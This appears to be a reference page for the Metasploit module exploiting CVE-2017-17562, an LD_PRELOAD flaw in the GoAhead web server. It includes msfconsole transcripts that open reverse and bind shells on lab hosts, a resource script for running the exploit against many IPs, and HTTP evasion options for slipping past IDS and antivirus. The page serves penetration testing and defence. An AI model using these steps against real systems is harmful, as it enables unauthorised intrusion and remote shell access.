GoAhead Web Server LD_PRELOAD Arbitrary Module Load - Metasploit
This page contains detailed information about how to use the exploit/linux/http/goahead_ldpreload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: GoAhead Web Server LD_PRELOAD Arbitrary Module Load
Module: exploit/linux/http/goahead_ldpreload
Source code: modules/exploits/linux/http/goahead_ldpreload.rb
Disclosure date: 2017-12-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-17562
This module triggers an arbitrary shared library load vulnerability in GoAhead web server versions between 2.5 and that have the CGI module enabled.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using goahead_ldpreload against a single host
Normally, you can use exploit/linux/http/goahead_ldpreload this way:
msf > use exploit/linux/http/goahead_ldpreload
msf exploit(goahead_ldpreload) > show targets
... a list of targets ...
msf exploit(goahead_ldpreload) > set TARGET target-id
msf exploit(goahead_ldpreload) > show options
... show and set options ...
msf exploit(goahead_ldpreload) > exploit
Using goahead_ldpreload against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your goahead_ldpreload will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/goahead_ldpreload")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
The GoAhead httpd server between versions 2.5 and 3.6.4 are vulnerable to an arbitrary code execution
vulnerability where a remote attacker can force a supplied shared library to be loaded into the process
of a CGI application. This module delivers a shared library payload as the raw data to a POST request
and forces this to be loaded by specifying a LD_PRELOAD value of /proc/self/fd/0.
Kali 2017.3 and Ubuntu 16.04 Install Instructions
These instructions are based on the vulerability analysis by elttam.com.au
git clone https://github.com/embedthis/goahead.git
cd goahead/
git checkout tags/v3.6.4 -q
make > /dev/null
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
../build/linux-x64-default/bin/goahead . 127.1.1.1:8080
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/linux/http/goahead_ldpreload - Do:
set rhost [ip] - Do:
exploit - You should get a shell.
Options
TARGET_URI
Optional. The full path to a CGI endpoint on the target server.
Scenarios
GoAhead 3.6.4 on Ubuntu 16.04 x64
msf> use exploit/linux/http/goahead_preload
msf exploit(goahead_ldpreload) > set RHOST 127.1.1.1
msf exploit(goahead_ldpreload) > set RPORT 8080
msf exploit(goahead_ldpreload) > check
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[+] 127.1.1.1:8080 The target is vulnerable.
msf exploit(goahead_ldpreload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[*] Command shell session 4 opened (127.0.0.1:4444 -> 127.0.0.1:32988) at 2017-12-28 16:26:50 -0600
uname -a
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
exit
msf exploit(goahead_ldpreload) > set TARGET 1
msf exploit(goahead_ldpreload) > unset PAYLOAD
msf exploit(goahead_ldpreload) > exploit
[*] Started bind handler
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[*] Command shell session 5 opened (127.0.0.1:30836 -> 127.1.1.1:4444) at 2017-12-28 16:28:04 -0600
uname -a
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
exit
msf exploit(goahead_ldpreload) > set TARGET 2
msf exploit(goahead_ldpreload) > unset PAYLOAD
msf exploit(goahead_ldpreload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sNRXNjxWl7ic0uWw;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sNRXNjxWl7ic0uWw\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 6 opened (127.0.0.1:4444 -> 127.0.0.1:32995) at 2017-12-28 16:28:56 -0600
uname -a
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
msf exploit(goahead_ldpreload) > set TARGET 4
msf exploit(goahead_ldpreload) > unset PAYLOAD
msf exploit(goahead_ldpreload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Searching 390 paths for an exploitable CGI endpoint...
[+] Exploitable CGI located at /cgi-bin/cgitest
[*] Command shell session 7 opened (127.0.0.1:4444 -> 127.0.0.1:33000) at 2017-12-28 16:29:34 -0600
uname -a
Linux smash 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Logging
Each 404 error will generate a console or log entry similar to goahead: 0: Cannot find CGI program:.
Go back to menu.
Msfconsole Usage
Here is how the linux/http/goahead_ldpreload exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/goahead_ldpreload
[*] No payload configured, defaulting to cmd/unix/reverse_stub
msf6 exploit(linux/http/goahead_ldpreload) > show info
Name: GoAhead Web Server LD_PRELOAD Arbitrary Module Load
Module: exploit/linux/http/goahead_ldpreload
Platform: Linux
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-12-18
Provided by:
Daniel Hodson <[email protected]>
h00die
hdm <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic (Reverse Shell)
1 Automatic (Bind Shell)
2 Automatic (Command)
3 Linux x86
4 Linux x86_64
5 Linux ARM (LE)
6 Linux ARM64
7 Linux MIPS
8 Linux MIPSLE
9 Linux MIPS64
10 Linux MIPS64LE
11 Linux SPARC
12 Linux SPARC64
13 Linux s390x
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET_URI no The path to a CGI script on the GoAhead server
VHOST no HTTP server virtual host
Payload information:
Space: 5000
Description:
This module triggers an arbitrary shared library load vulnerability
in GoAhead web server versions between 2.5 and that have the CGI
module enabled.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-17562
https://www.elttam.com.au/blog/goahead/
Module Options
This is a complete list of options available in the linux/http/goahead_ldpreload exploit:
msf6 exploit(linux/http/goahead_ldpreload) > show options
Module options (exploit/linux/http/goahead_ldpreload):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET_URI no The path to a CGI script on the GoAhead server
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_stub):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Reverse Shell)
Advanced Options
Here is a complete list of advanced options supported by the linux/http/goahead_ldpreload exploit:
msf6 exploit(linux/http/goahead_ldpreload) > show advanced
Module advanced options (exploit/linux/http/goahead_ldpreload):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_stub):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/goahead_ldpreload module can exploit:
msf6 exploit(linux/http/goahead_ldpreload) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic (Reverse Shell)
1 Automatic (Bind Shell)
2 Automatic (Command)
3 Linux x86
4 Linux x86_64
5 Linux ARM (LE)
6 Linux ARM64
7 Linux MIPS
8 Linux MIPSLE
9 Linux MIPS64
10 Linux MIPS64LE
11 Linux SPARC
12 Linux SPARC64
13 Linux s390x
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/goahead_ldpreload exploit:
msf6 exploit(linux/http/goahead_ldpreload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/goahead_ldpreload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/goahead_ldpreload) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Missing executable template at <WRAPPER_PATH>
Here is a relevant code snippet related to the "Missing executable template at <WRAPPER_PATH>" error message:
184: template_list.each do |t_arch|
185:
186:
187: wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
188: unless ::File.exist?(wrapper_path)
189: raise RuntimeError.new("Missing executable template at #{wrapper_path}")
190: end
191:
192: data = ''
193: ::File.open(wrapper_path, "rb") do |fd|
194: data = Rex::Text.ungzip(fd.read)
No valid CGI endpoints identified
Here is a relevant code snippet related to the "No valid CGI endpoints identified" error message:
362: print_good("Exploitable CGI located at #{uri}")
363: return uri
364: end
365: end
366:
367: print_error("No valid CGI endpoints identified")
368: return
369: end
370:
371: # Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
372: def is_cgi_exploitable?(uri)
Request for <URI> did not return a response
Here is a relevant code snippet related to the "Request for <URI> did not return a response" error message:
373: res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})
374:
375: if res
376: vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
377: else
378: vprint_status("Request for #{uri} did not return a response")
379: end
380:
381: !!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
382: end
383:
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9349 Merged Pull Request: GoAhead LD_PRELOAD CGI Module
References
See Also
Check also the following modules related to this module:
Related Nessus plugins:
Authors
- Daniel Hodson <daniel[at]elttam.com.au>
- h00die
- hdm
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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